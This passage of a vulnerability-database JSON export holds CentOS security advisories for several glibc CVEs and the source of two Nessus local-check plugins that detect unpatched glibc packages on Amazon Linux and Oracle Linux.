"glibc-headers-2.5-65.el5_7.3.i386.rpm", "packageName": "glibc-headers", "arch": "i386", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-2.5-65.el5_7.3.src.rpm", "packageName": "glibc", "arch": "any", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "5", "packageVersion": "2.5-65.el5_7.3", "packageFilename": "glibc-common-2.5-65.el5_7.3.i386.rpm", "packageName": "glibc-common", "arch": "i386", "operator": "lt"}], "description": "**CentOS Errata and Security Advisory** CESA-2012:0126\n\n\nThe glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system cannot\nfunction properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked against\nglibc, it could cause the application to crash or, potentially, execute\narbitrary code with the privileges of the user running the application.\n(CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically linked\nlibraries. If an attacker could trick a user into running ldd on a\nmalicious binary, it could result in arbitrary code execution with the\nprivileges of the user running ldd. (CVE-2009-5064)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library loaded ELF (Executable and Linking\nFormat) files. If a carefully-crafted ELF file was loaded by an\napplication linked against glibc, it could cause the application to crash\nor, potentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2010-0830)\n\nIt was found that the glibc addmntent() function, used by various mount\nhelper utilities, did not handle certain errors correctly when updating the\nmtab (mounted file systems table) file. If such utilities had the setuid\nbit set, a local attacker could use this flaw to corrupt the mtab file.\n(CVE-2011-1089)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number of\nconnections to an RPC service that is using the RPC implementation from\nglibc, could use this flaw to make that service use an excessive amount of\nCPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting\nCVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The Ubuntu\nSecurity Team acknowledges Dan Rosenberg as the original reporter of\nCVE-2010-0830.\n\nUsers should upgrade to these updated packages, which resolve these issues.\n\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-announce/2012-February/018428.html\n\n**Affected packages:**\nglibc\nglibc-common\nglibc-devel\nglibc-headers\nglibc-utils\nnscd\n\n**Upstream details at:**\nhttps://rhn.redhat.com/errata/RHSA-2012-0126.html", "edition": 1, "reporter": "CentOS Project", "published": "2012-02-13T22:06:54", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "title": "glibc, nscd security update", "type": "centos", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4609", "CVE-2010-0830", "CVE-2009-5029", "CVE-2011-1089", "CVE-2009-5064"], "modified": "2012-02-13T22:06:54", "href": "http://lists.centos.org/pipermail/centos-announce/2012-February/018428.html", "id": "CESA-2012:0126", "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-10-12T14:44:51", "references": ["https://rhn.redhat.com/errata/RHSA-2012-0125.html"], "affectedPackage": [{"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-utils-2.3.4-2.57.i386.rpm", "packageName": "glibc-utils", "arch": "i386", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-profile-2.3.4-2.57.x86_64.rpm", "packageName": "glibc-profile", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "nscd-2.3.4-2.57.x86_64.rpm", "packageName": "nscd", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-common-2.3.4-2.57.x86_64.rpm", "packageName": "glibc-common", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-utils-2.3.4-2.57.x86_64.rpm", "packageName": "glibc-utils", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-headers-2.3.4-2.57.x86_64.rpm", "packageName": "glibc-headers", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "nptl-devel-2.3.4-2.57.i386.rpm", "packageName": "nptl-devel", "arch": "i386", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-headers-2.3.4-2.57.i386.rpm", "packageName": "glibc-headers", "arch": "i386", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-2.3.4-2.57.i686.rpm", "packageName": "glibc", "arch": "i686", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-2.3.4-2.57.i686.rpm", "packageName": "glibc", "arch": "i686", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-common-2.3.4-2.57.i386.rpm", "packageName": "glibc-common", "arch": "i386", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-2.3.4-2.57.x86_64.rpm", "packageName": "glibc", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "nptl-devel-2.3.4-2.57.i686.rpm", "packageName": "nptl-devel", "arch": "i686", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "nptl-devel-2.3.4-2.57.x86_64.rpm", "packageName": "nptl-devel", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-2.3.4-2.57.i386.rpm", "packageName": "glibc", "arch": "i386", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-devel-2.3.4-2.57.x86_64.rpm", "packageName": "glibc-devel", "arch": "x86_64", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-devel-2.3.4-2.57.i386.rpm", "packageName": "glibc-devel", "arch": "i386", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-devel-2.3.4-2.57.i386.rpm", "packageName": "glibc-devel", "arch": "i386", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "nscd-2.3.4-2.57.i386.rpm", "packageName": "nscd", "arch": "i386", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-profile-2.3.4-2.57.i386.rpm", "packageName": "glibc-profile", "arch": "i386", "operator": "lt"}, {"OS": "CentOS", "OSVersion": "4", "packageVersion": "2.3.4-2.57", "packageFilename": "glibc-2.3.4-2.57.src.rpm", "packageName": "glibc", "arch": "any", "operator": "lt"}], "description": "**CentOS Errata and Security Advisory** CESA-2012:0125\n\n\nThe glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system cannot\nfunction properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked against\nglibc, it could cause the application to crash or, potentially, execute\narbitrary code with the privileges of the user running the application.\n(CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically linked\nlibraries. If an attacker could trick a user into running ldd on a\nmalicious binary, it could result in arbitrary code execution with the\nprivileges of the user running ldd. (CVE-2009-5064)\n\nIt was discovered that the glibc addmntent() function, used by various\nmount helper utilities, did not sanitize its input properly. A local\nattacker could possibly use this flaw to inject malformed lines into the\nmtab (mounted file systems table) file via certain setuid mount helpers, if\nthe attacker were allowed to mount to an arbitrary directory under their\ncontrol. (CVE-2010-0296)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library loaded ELF (Executable and Linking\nFormat) files. If a carefully-crafted ELF file was loaded by an\napplication linked against glibc, it could cause the application to crash\nor, potentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2010-0830)\n\nIt was discovered that the glibc fnmatch() function did not properly\nrestrict the use of alloca(). If the function was called on sufficiently\nlarge inputs, it could cause an application using fnmatch() to crash or,\npossibly, execute arbitrary code with the privileges of the application.\n(CVE-2011-1071)\n\nIt was found that the glibc addmntent() function, used by various mount\nhelper utilities, did not handle certain errors correctly when updating the\nmtab (mounted file systems table) file. If such utilities had the setuid\nbit set, a local attacker could use this flaw to corrupt the mtab file.\n(CVE-2011-1089)\n\nIt was discovered that the locale command did not produce properly escaped\noutput as required by the POSIX specification. If an attacker were able to\nset the locale environment variables in the environment of a script that\nperformed shell evaluation on the output of the locale command, and that\nscript were run with different privileges than the attacker's, it could\nexecute arbitrary code with the privileges of the script. (CVE-2011-1095)\n\nAn integer overflow flaw was found in the glibc fnmatch() function. If an\nattacker supplied a long UTF-8 string to an application linked against\nglibc, it could cause the application to crash. (CVE-2011-1659)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number of\nconnections to an RPC service that is using the RPC implementation from\nglibc, could use this flaw to make that service use an excessive amount of\nCPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting\nCVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The Ubuntu\nSecurity Team acknowledges Dan Rosenberg as the original reporter of\nCVE-2010-0830.\n\nThis update also fixes the following bug:\n\n* When using an nscd package that is a different version than the glibc\npackage, the nscd service could fail to start. This update makes the nscd\npackage require a specific glibc version to prevent this problem.\n(BZ#657009)\n\nUsers should upgrade to these updated packages, which resolve these issues.\n\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-announce/2012-February/018427.html\n\n**Affected packages:**\nglibc\nglibc-common\nglibc-devel\nglibc-headers\nglibc-profile\nglibc-utils\nnptl-devel\nnscd\n\n**Upstream details at:**\nhttps://rhn.redhat.com/errata/RHSA-2012-0125.html", "edition": 2, "reporter": "CentOS Project", "published": "2012-02-13T21:09:08", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "title": "glibc, nptl, nscd security update", "type": "centos", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4609", "CVE-2010-0296", "CVE-2011-1659", "CVE-2010-0830", "CVE-2011-1071", "CVE-2011-1095", "CVE-2009-5029", "CVE-2011-1089", "CVE-2009-5064"], "modified": "2012-02-13T21:09:08", "href": "http://lists.centos.org/pipermail/centos-announce/2012-February/018427.html", "id": "CESA-2012:0125", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "nessus": [{"lastseen": "2018-04-19T08:04:21", "references": ["https://alas.aws.amazon.com/ALAS-2012-39.html"], "pluginID": "69646", "description": "An integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library read timezone files. If a carefully-crafted timezone file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2009-5029)\n\nA denial of service flaw was found in the remote procedure call (RPC) implementation in glibc. A remote attacker able to open a large number of connections to an RPC service that is using the RPC implementation from glibc, could use this flaw to make that service use an excessive amount of CPU time. (CVE-2011-4609)", "edition": 3, "reporter": "Tenable", "published": "2013-09-04T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "type": "nessus", "title": "Amazon Linux AMI : glibc (ALAS-2012-39)", "naslFamily": "Amazon Linux Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2009-5029"], "cpe": ["p-cpe:/a:amazon:linux:glibc-debuginfo", "p-cpe:/a:amazon:linux:glibc-devel", "p-cpe:/a:amazon:linux:glibc-utils", "p-cpe:/a:amazon:linux:nscd", "p-cpe:/a:amazon:linux:glibc", "p-cpe:/a:amazon:linux:glibc-common", "p-cpe:/a:amazon:linux:glibc-debuginfo-common", "p-cpe:/a:amazon:linux:glibc-static", "cpe:/o:amazon:linux", "p-cpe:/a:amazon:linux:glibc-headers"], "modified": "2018-04-18T00:00:00", "id": "ALA_ALAS-2012-39.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=69646", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Amazon Linux AMI Security Advisory ALAS-2012-39.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(69646);\n script_version(\"1.5\");\n script_cvs_date(\"Date: 2018/04/18 15:09:34\");\n\n script_cve_id(\"CVE-2009-5029\", \"CVE-2011-4609\");\n script_xref(name:\"ALAS\", value:\"2012-39\");\n script_xref(name:\"RHSA\", value:\"2012:0058\");\n\n script_name(english:\"Amazon Linux AMI : glibc (ALAS-2012-39)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Amazon Linux AMI host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"An integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked\nagainst glibc, it could cause the application to crash or,\npotentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2009-5029)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number\nof connections to an RPC service that is using the RPC implementation\nfrom glibc, could use this flaw to make that service use an excessive\namount of CPU time. (CVE-2011-4609)\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://alas.aws.amazon.com/ALAS-2012-39.html\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Run 'yum update glibc' to update your system.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:glibc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:glibc-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:glibc-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:glibc-debuginfo-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:glibc-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:glibc-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:glibc-static\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:glibc-utils\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:amazon:linux:nscd\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:amazon:linux\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/02/02\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2013/09/04\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2013-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Amazon Linux Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/AmazonLinux/release\", \"Host/AmazonLinux/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/AmazonLinux/release\");\nif (isnull(release) || !strlen(release)) audit(AUDIT_OS_NOT, \"Amazon Linux\");\nos_ver = pregmatch(pattern: \"^AL(A|\\d)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Amazon Linux\");\nos_ver = os_ver[1];\nif (os_ver != \"A\")\n{\n if (os_ver == 'A') os_ver = 'AMI';\n audit(AUDIT_OS_NOT, \"Amazon Linux AMI\", \"Amazon Linux \" + os_ver);\n}\n\nif (!get_kb_item(\"Host/AmazonLinux/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (rpm_check(release:\"ALA\", reference:\"glibc-2.12-1.47.32.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"glibc-common-2.12-1.47.32.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"glibc-debuginfo-2.12-1.47.32.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"glibc-debuginfo-common-2.12-1.47.32.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"glibc-devel-2.12-1.47.32.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"glibc-headers-2.12-1.47.32.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"glibc-static-2.12-1.47.32.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"glibc-utils-2.12-1.47.32.amzn1\")) flag++;\nif (rpm_check(release:\"ALA\", reference:\"nscd-2.12-1.47.32.amzn1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"glibc / glibc-common / glibc-debuginfo / glibc-debuginfo-common / etc\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-07-21T08:34:44", "references": ["https://oss.oracle.com/pipermail/el-errata/2012-January/002568.html"], "pluginID": "68436", "description": "From Red Hat Security Advisory 2012:0058 :\n\nUpdated glibc packages that fix two security issues and three bugs are now available for Red Hat Enterprise Linux 6.\n\nThe Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple programs on the system. These packages contain the standard C and the standard math libraries. Without these two libraries, a Linux system cannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library read timezone files. If a carefully-crafted timezone file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2009-5029)\n\nA denial of service flaw was found in the remote procedure call (RPC) implementation in glibc. A remote attacker able to open a large number of connections to an RPC service that is using the RPC implementation from glibc, could use this flaw to make that service use an excessive amount of CPU time. (CVE-2011-4609)\n\nThis update also fixes the following bugs :\n\n* glibc had incorrect information for numeric separators and groupings for specific French, Spanish, and German locales. Therefore, applications utilizing glibc's locale support printed numbers with the wrong separators and groupings when those locales were in use. With this update, the separator and grouping information has been fixed.\n(BZ#754116)\n\n* The RHBA-2011:1179 glibc update introduced a regression, causing glibc to incorrectly parse groups with more than 126 members, resulting in applications such as 'id' failing to list all the groups a particular user was a member of. With this update, group parsing has been fixed. (BZ#766484)\n\n* glibc incorrectly allocated too much memory due to a race condition within its own malloc routines. This could cause a multi-threaded application to allocate more memory than was expected. With this update, the race condition has been fixed, and malloc's behavior is now consistent with the documentation regarding the MALLOC_ARENA_TEST and MALLOC_ARENA_MAX environment variables. (BZ#769594)\n\nUsers should upgrade to these updated packages, which contain backported patches to resolve these issues.", "edition": 3, "reporter": "Tenable", "published": "2013-07-12T00:00:00", "title": "Oracle Linux 6 : glibc (ELSA-2012-0058)", "type": "nessus", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "naslFamily": "Oracle Linux Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2009-5029"], "modified": "2018-07-18T00:00:00", "cpe": ["cpe:/o:oracle:linux:6", "p-cpe:/a:oracle:linux:nscd", "p-cpe:/a:oracle:linux:glibc-devel", "p-cpe:/a:oracle:linux:glibc-utils", "p-cpe:/a:oracle:linux:glibc-static", "p-cpe:/a:oracle:linux:glibc-headers", "p-cpe:/a:oracle:linux:glibc-common", "p-cpe:/a:oracle:linux:glibc"], "id": "ORACLELINUX_ELSA-2012-0058.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=68436", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Red Hat Security Advisory RHSA-2012:0058 and \n# Oracle Linux Security Advisory ELSA-2012-0058 respectively.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(68436);\n script_version(\"1.5\");\n script_cvs_date(\"Date: 2018/07/18 17:43:56\");\n\n script_cve_id(\"CVE-2009-5029\", \"CVE-2011-4609\");\n script_bugtraq_id(51439);\n script_xref(name:\"RHSA\", value:\"2012:0058\");\n\n script_name(english:\"Oracle Linux 6 : glibc (ELSA-2012-0058)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Oracle Linux host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"From Red Hat Security Advisory 2012:0058 :\n\nUpdated glibc packages that fix two security issues and three bugs are\nnow available for Red Hat Enterprise Linux 6.\n\nThe Red Hat Security Response Team has rated this update as having\nmoderate security impact. Common Vulnerability Scoring System (CVSS)\nbase scores, which give detailed severity ratings, are available for\neach vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system\ncannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked\nagainst glibc, it could cause the application to crash or,\npotentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2009-5029)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number\nof connections to an RPC service that is using the RPC implementation\nfrom glibc, could use this flaw to make that service use an excessive\namount of CPU time. (CVE-2011-4609)\n\nThis update also fixes the following bugs :\n\n* glibc had incorrect information for numeric separators and groupings\nfor specific French, Spanish, and German locales. Therefore,\napplications utilizing glibc's locale support printed numbers with the\nwrong separators and groupings when those locales were in use. With\nthis update, the separator and grouping information has been fixed.\n(BZ#754116)\n\n* The RHBA-2011:1179 glibc update introduced a regression, causing\nglibc to incorrectly parse groups with more than 126 members,\nresulting in applications such as 'id' failing to list all the groups\na particular user was a member of. With this update, group parsing has\nbeen fixed. (BZ#766484)\n\n* glibc incorrectly allocated too much memory due to a race condition\nwithin its own malloc routines. This could cause a multi-threaded\napplication to allocate more memory than was expected. With this\nupdate, the race condition has been fixed, and malloc's behavior is\nnow consistent with the documentation regarding the MALLOC_ARENA_TEST\nand MALLOC_ARENA_MAX environment variables. (BZ#769594)\n\nUsers should upgrade to these updated packages, which contain\nbackported patches to resolve these issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://oss.oracle.com/pipermail/el-errata/2012-January/002568.html\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected glibc packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:glibc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:glibc-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:glibc-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:glibc-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:glibc-static\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:glibc-utils\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:nscd\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:oracle:linux:6\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/01/25\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2013/07/12\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2013-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Oracle Linux Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/OracleLinux\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/OracleLinux\")) audit(AUDIT_OS_NOT, \"Oracle Linux\");\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || !eregmatch(pattern: \"Oracle (?:Linux Server|Enterprise Linux)\", string:release)) audit(AUDIT_OS_NOT, \"Oracle Linux\");\nos_ver = eregmatch(pattern: \"Oracle (?:Linux Server|Enterprise Linux) .*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Oracle Linux\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^6([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Oracle Linux 6\", \"Oracle Linux \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Oracle Linux\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"EL6\", reference:\"glibc-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"glibc-common-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"glibc-devel-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"glibc-headers-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"glibc-static-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"glibc-utils-2.12-1.47.el6_2.5\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"nscd-2.12-1.47.el6_2.5\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"glibc / glibc-common / glibc-devel / glibc-headers / glibc-static / etc\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-07-30T13:34:26", "references": ["https://www.redhat.com/security/data/cve/CVE-2011-4609.html", "http://rhn.redhat.com/errata/RHSA-2012-0058.html", "https://rhn.redhat.com/errata/RHBA-2011-1179.html", "https://www.redhat.com/security/data/cve/CVE-2009-5029.html"], "pluginID": "57676", "description": "Updated glibc packages that fix two security issues and three bugs are now available for Red Hat Enterprise Linux 6.\n\nThe Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple programs on the system. These packages contain the standard C and the standard math libraries. Without these two libraries, a Linux system cannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library read timezone files. If a carefully-crafted timezone file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2009-5029)\n\nA denial of service flaw was found in the remote procedure call (RPC) implementation in glibc. A remote attacker able to open a large number of connections to an RPC service that is using the RPC implementation from glibc, could use this flaw to make that service use an excessive amount of CPU time. (CVE-2011-4609)\n\nThis update also fixes the following bugs :\n\n* glibc had incorrect information for numeric separators and groupings for specific French, Spanish, and German locales. Therefore, applications utilizing glibc's locale support printed numbers with the wrong separators and groupings when those locales were in use. With this update, the separator and grouping information has been fixed.\n(BZ#754116)\n\n* The 